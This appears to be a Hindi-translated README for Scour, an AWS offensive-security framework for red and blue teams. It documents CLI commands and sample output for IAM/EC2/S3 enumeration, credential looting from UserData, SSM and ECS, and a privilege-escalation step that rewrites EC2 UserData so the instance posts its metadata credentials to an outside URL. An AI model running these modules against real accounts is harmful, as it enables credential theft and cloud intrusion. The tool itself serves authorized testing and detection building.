Scour - AWS पहचान ढाँचा

यह उपकरण AWS नियंत्रण तल के अंदर आक्रमण पैटर्न का अनुकरण करने के लिए उपयोग किया जाता है। प्रत्येक आक्रमण को एक विशिष्ट UA से टैग किया जाता है ताकि नीली टीम संकेत कर सके।

स्थिति

यह अभी भी सक्रिय कार्य प्रगति पर है। बहुत सारे बग
उत्पादन के लिए तैयार नहीं
समस्याएँ दर्ज करने का स्थान: https://github.com/grines/scour/issues
द्वारा अनुरक्षित: grines

Scour क्या है?

Scour गोलैंग में लिखा एक आधुनिक मॉड्यूल-आधारित AWS शोषण ढाँचा है, जिसे रेड टीम परीक्षण और ब्लू टीम विश्लेषण के लिए डिज़ाइन किया गया है। Scour में आधुनिक तकनीकें शामिल हैं जिनका उपयोग वातावरण पर हमला करने या रक्षा के लिए पहचान बनाने के लिए किया जा सकता है।

विशेषताएँ

कमांड पूर्णता
गतिशील संसाधन सूची
कमांड इतिहास
ब्लू टीम मोड (अनोखे User Agent से आक्रमणों को टैग करता है)

स्थापना

Scour गोलैंग में लिखा है इसलिए इसे बाइनरी के रूप में भेजना आसान है।

##Gettable

go get github.com/grines/scour

##Build

go build main.go

अधिक विस्तृत और उपयोगकर्ता-अनुकूल निर्देशों के लिए, कृपया विकी के स्थापना गाइड को देखें। **जल्द ही आ रहा है

Scour के मॉड्यूल

Scour कई मॉड्यूल का उपयोग करता है:

संचालन (2)
परिगणना (7)
विशेषाधिकार वृद्धि (3)
पार्श्व गति (2)
परिहार (5)
क्रेडेंशियल खोज (4)
निष्पादन (2)
स्थायित्व (7)
निष्कासन (1)

नोट्स

Scour सभी Linux/OSX पर समर्थित है।
Scour ओपन-सोर्स सॉफ्टवेयर है और BSD-3-Clause लाइसेंस के तहत वितरित किया जाता है।

प्रारंभ करना

Scour पहली बार लॉन्च होने पर,

Scour में बुनियादी कमांड

token profile <profile_name> <region> ~/aws/credentials में संग्रहीत उपलब्ध AWS प्रोफाइलों को सूचीबद्ध करेगा।
token AssumeRole <role_name> <region> उसी या क्रॉस खाते से भूमिका ग्रहण करेगा। ** सक्रिय सत्र की आवश्यकता है
help module निर्दिष्ट मॉड्यूल के लिए लागू सहायता जानकारी लौटाएगा। **सहायता TBD
attack evasion <tactic> निर्दिष्ट मॉड्यूल को उसके डिफ़ॉल्ट मापदंडों के साथ चलाएगा।

कमांड लाइन से Scour चलाना

scour CLI मोड में प्रवेश करेगा
Not Connected <> token profile apiuser us-east-1 उन कमांड के लिए उपयोग का सत्र सेट करता है जिनकी आवश्यकता है
Connected <apiuser/us-east-1> (क्षेत्र) में (~,/aws/credentials) से एक AWS प्रोफाइल से सक्रिय रूप से जुड़ा हुआ
Connected <apiuser/us-east-1> attack enum <attack> टैब पूर्णता के साथ उपलब्ध परिगणना रणनीतियों की सूची
Connected <apiuser/us-east-1> attack privesc <attack> टैब पूर्णता के साथ उपलब्ध विशेषाधिकार वृद्धि रणनीतियों की सूची
Connected <apiuser/us-east-1> attack lateral <attack> टैब पूर्णता के साथ उपलब्ध पार्श्व गति रणनीतियों की सूची
Connected <apiuser/us-east-1> attack evasion <attack> टैब पूर्णता के साथ उपलब्ध परिहार रणनीतियों की सूची
Connected <apiuser/us-east-1> attack creds <attack> टैब पूर्णता के साथ उपलब्ध क्रेडेंशियल खोज रणनीतियों की सूची
Connected <apiuser/us-east-1> attack execute <attack> टैब पूर्णता के साथ उपलब्ध निष्पादन रणनीतियों की सूची
टैब पूर्णता के साथ उपलब्ध स्थायित्व रणनीतियों की सूची

परिगणना

Connected <apiuser/us-east-1> attack enum IAM IAM खोज

+-------------+---------------------+------------------+---------------+--------------+
|    USER     |  MANAGED POLICIES   | INLINE POLICIES  |    GROUPS     | ISPRIVILEGED |
+-------------+---------------------+------------------+---------------+--------------+
| admin       | AdministratorAccess | AllEKSInlineuser | SecurityAudit | true         |
| EC2         | AmazonEC2FullAccess |                  |               | true         |
+-------------+---------------------+------------------+---------------+--------------+

Connected <apiuser/us-east-1> attack enum Roles Roles खोज

UA Tracking: exec-env/EVSWAyidC4/o18HtFPe1P/role-enum
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
|                            ROLE                            | PRINCIPAL TYPE |                  IDENTITY/SERVICE                   | ISPRIVILEGED |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| Amazon_CodeBuild_dW6zqYHT3m                                | AWS            | [arn:aws:iam::861******:root                     | true         |
|                                                            |                | codebuild.amazonaws.com]                            |              |
| Amazon_CodeBuild_f2DOFPjMHK                                | Service        | [codebuild.amazonaws.com]                           | true         |
| Amazon_CodeBuild_HS59ko7lxn                                | Service        | [codebuild.amazonaws.com]                           | true         |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+

Connected <apiuser/us-east-1> attack enum EC2 EC2 खोज

UA Tracking: exec-env/EVSWAyidC4/dudqW7y1xb/ec2-enum
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
|     INSTANCEID      |                  INSTANCE PROFILE                   |     VPC      | PUBLICIP |   PRIVATEIP   |   SECURITY GROUPS    | PORTS  |  STATE  | ISPRIVILEGED | ISPUBLIC |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| i-0f5604708c0b51429 | None                                                | vpc-7e830c1a | None     | 172.31.53.199 | sg-09fcd28717cf4f512 | 80*    | stopped | false        | true     |
|                     |                                                     |              |          |               |                      | 22*    |         |              |          |
|                     |                                                     |              |          |               |                      | 5000*  |         |              |          |
| i-03657fe3b9decdf51 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None     | 172.31.45.96  | sg-61b1fd07          | All*   | stopped | true         | true     |
|                     |                                                     |              |          |               |                      | 8888*  |         |              |          |
| i-01b265a5fdc45df57 | None                                                | vpc-7e830c1a | None     | 172.31.38.118 | sg-0392f752f9b849d3f | 3389*  | stopped | false        | true     |
| i-0867709d6c0be74d9 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None     | 172.31.39.199 | sg-006543a34d2f70028 | 22*    | stopped | true         | true     |
| i-0d95790b5e7ddff23 | None                                                | vpc-7e830c1a | None     | 172.31.12.57  | sg-e1a50dac          | 33391* | stopped | false        | true     |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+

Connected <apiuser/us-east-1> attack enum S3 S3 खोज

UA Tracking: exec-env/EVSWAyidC4/GDGZaYQOuo/s3-enum
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
|                  BUCKET                   | HASPOLICY | ISWEBSITE | ALLOW PUBLIC | PERMISSIONS | ALLOW AUTHENTICATED | PERMISSIONS | REPLICATION |  REGION   |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| amazon-conn********3d79b01a               | false     | false     | false        |             | false               |             | false       | us-west-2 |
| aws-cloudtrail-logs-**********98-cb39df0d | true      | false     | false        |             | false               |             | false       |           |
| bullsecu*********                         | true      | true      | false        |             | false               |             | false       |           |
| connect-6ec*****ad67                      | false     | false     | false        |             | false               |             | false       |           |
| connect-******5337c3                      | false     | false     | false        |             | false               |             | false       |           |
| ransom********                            | true      | false     | false        |             | false               |             | false       |           |
| red********                               | false     | false     | false        |             | false               |             | false       |           |
| rep-*****                                 | false     | false     | false        |             | false               |             | false       | us-west-2 |
| terraform*******                          | false     | false     | false        |             | false               |             | false       |           |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+

Connected <apiuser/us-east-1> attack enum Groups Groups खोज

UA Tracking: exec-env/EVSWAyidC4/jAIKVdESpU/groups-enum
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
|                     GROUP                     |      POLICIES       | ISPRIVILEGED | INLINE POLICIES | ISPRIVILEGED |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| EC2                                           | SecurityAudit       | false        |                 | false        |
| OpsWorks-dac9e9ba-8b3d-4e04-9ad9-d988ca4c0731 |                     | false        |                 | false        |
| TestGroup                                     | AmazonEC2FullAccess | true         |                 | false        |
|                                               | SecurityAudit       |              |                 |              |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+

Connected <apiuser/us-east-1> attack enum Network Network खोज

TBD

विशेषाधिकार वृद्धि

Connected <apiuser/us-east-1> attack privesc UserData i-0f5604708c0b51429 http://url.to.capture.post.data EC2 से मेटाडेटा क्रेडेंशियल चुराएं। इंस्टेंस रोकें / दिए गए URL पर क्रेडेंशियल पोस्ट करने के लिए userdata अपडेट करें / इंस्टेंस शुरू करें (URL पर EC2 टोकन भेजता है।)

[Sun May  9 06:10:16 2021]  INF  Stopping Instance i-0f5604708c0b51429 - State: stopped
[Sun May  9 06:10:46 2021]  INF  Modifying Instance Attribute UserData on i-0f5604708c0b51429
[Sun May  9 06:10:47 2021]  INF  Starting Instance i-0f5604708c0b51429 - State: pending

क्रेडेंशियल खोज

Connected <apiuser/us-east-1> attack creds UserData EC2 userdata से क्रेडेंशियल लूटें

UA Tracking: exec-env/yzaqX9HFvP/oL1oho99ZP/userdata-creds
+---------------------+------------------+-------------------------------------------------------------------------------+
|     INSTANCEID      |       RULE       |                                    FINDING                                    |
+---------------------+------------------+-------------------------------------------------------------------------------+
| i-0f5604708c0b51429 | Slack Webhook    | https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX |
| i-0f5604708c0b51429 | Generic Password | password=thisisapassword                                                      |
+---------------------+------------------+-------------------------------------------------------------------------------+

Connected <apiuser/us-east-1> attack creds SSM Systems Manager से क्रेडेंशियल लूटें

UA Tracking: exec-env/yzaqX9HFvP/FASongUCcG/ssm-params-creds
+------------+----------+----------------------+
| PARAM NAME | DATATYPE |        VALUE         |
+------------+----------+----------------------+
| Test       | text     | thismightbeapassword |
+------------+----------+----------------------+

Connected <apiuser/us-east-1> attack creds ECS ECS से क्रेडेंशियल लूटें

UA Tracking: exec-env/9tsJFrIPmw/rEGaMfF5AI/ecs-creds
+-------------+-------+------------+
| ENVARS NAME | VALUE | DEFINITION |
+-------------+-------+------------+
| Secret      | heere | sample-app |
+-------------+-------+------------+

अस्वीकरण, और AWS स्वीकार्य उपयोग नीति

हमारी जानकारी के अनुसार Scour की क्षमताएं AWS स्वीकार्य उपयोग नीति के अनुरूप हैं, लेकिन एक लचीला और मॉड्यूलर उपकरण होने के नाते, हम गारंटी नहीं दे सकते कि यह हर स्थिति में सत्य होगा। यह पूरी तरह से आपकी जिम्मेदारी है कि आप Scour का उपयोग कैसे करते हैं, यह AWS स्वीकार्य उपयोग नीति के अनुरूप हो।
आप किन AWS सेवाओं का उपयोग करते हैं और आपकी नियोजित परीक्षण में क्या शामिल है, इसके आधार पर, आपको अपने बुनियादी ढांचे के विरुद्ध Scour चलाने से पहले Amazon से प्राधिकरण का अनुरोध करने की आवश्यकता हो सकती है। ऐसे प्राधिकरण की आवश्यकता है या नहीं, यह निर्धारित करना आपकी जिम्मेदारी है।
किसी भी प्रवेश परीक्षण उपकरण की तरह, अपने वातावरण के बाहर Scour का उपयोग करने से पहले उचित प्राधिकरण प्राप्त करना आपकी जिम्मेदारी है।
Scour ऐसा सॉफ्टवेयर है जो बिल्कुल किसी भी वारंटी के बिना आता है। Scour का उपयोग करके, आप इसके परिणामस्वरूप होने वाले किसी भी और सभी परिणामों की पूरी जिम्मेदारी लेते हैं।

scour

सबसे लोकप्रिय